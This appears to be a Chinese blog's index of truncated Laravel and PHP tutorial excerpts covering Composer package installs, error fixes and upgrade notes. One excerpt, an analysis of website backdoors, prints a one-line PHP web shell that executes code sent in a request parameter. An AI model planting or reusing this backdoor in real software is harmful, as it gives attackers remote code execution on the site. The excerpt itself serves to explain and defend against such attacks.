milon/barcode可生成一维码、二维码等多种条码格式,使用也非常的方便。 项目地址:https://github.com/milon/barcode 安装: $ composer require milon/barcode 安装完成之后,我们需要注册providers服务
测试laravel torann/geoip扩展包,运行tinker测试,报错如下: BadMethodCallException with message This cache store does not support tagging. 根据提示信息我们判断应该是cache的配置问题 把.env 里的 CACHE_DRIVE
报错信息如下: Symfony\Component\Debug\Exception\FatalThrowableError thrown with message Argument 2 passed to Symfony\Component\HttpFoundation\Request:: setTrustedProxies() must be of the type integer, array given, called in D:\phpSt
此操作记录基于Laravel 5.5升级到Laravel 5.7,我们需要修改composer.json文件,将: laravel/framework: 5.5.*, 修改为: laravel/framework: 5.7.*, 执行命令: $ composer update 出错小插曲: 更新过程中报了以
torann/geoip通过该扩展包,我们可以根据用户的IP获得地理位置信息。 项目地址:https://github.com/Torann/laravel-geoip 安装命令: $ composer require torann/geoip 安装完成之后,我们将配置文件发布出
利用 Clockwork 在 Google Chrome 下调试你的 Laravel APP itsgoingd/clockwork,让调试变得更简单。 安装命令: $ composer require itsgoingd/clockwork 我们可以通过安装浏览器的插件来查看高调试工具的相关
Laravel日志查看工具 rap2hpoutre/laravel-log-viewer是一款非常不错的用于web管理日志的工具。 安装: composer require rap2hpoutre/laravel-log-viewer 我们只需要在路由文件中添加一条路由规则即可: Ro
在Laravel中我们使用composer进行安装 vinkla/hashids开源库,可以将字符串ID转化为数字ID。 我们使用composer进行安装,最新的laravel-hashids 需要Laravel 5.6版本以上支持。 $ composer require vinkla/has
在实际的项目开发过程中,我们常常用提供表单之类的文件上传功能,在laravel社区看到一篇关于PHP 安全的指南,讲述如何防范用户上传 PHP 可执行文件。
网站后门-一句话webshell的分析,黑客可以通过Webshell入侵您的系统盗取数据,或者植入违法内容来影响您的网站收录。 植入代码示例: ?php $s=create_function(,$_REQUEST[x]);$s();? 利用php create_
php 搜索数组字符串我们一般会用到array_search和in_array两个函数,array_sear...
PhpStorm Laravel IDE增加显示工具 barryvdh/laravel-ide-helper 仓库地址:htt...
Laravel迁移数据 could not be opened in append mode: failed to open stream:...
Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件。该插件只能...
下面是总结的几个使用方法 include PHPExcel.php; include PHPExcel/Writer/Exc...
新项目布置Laravel,所有源代码数据上传至服务器中,配置好运行环境,调试出现...
在php中要模拟post请求数据提交我们会使用到curl函数,下面我来给大家举几个cur...
风信建站laravel项目开发,使用laravel 5.6版本创建新的项目,安装过程中提示以...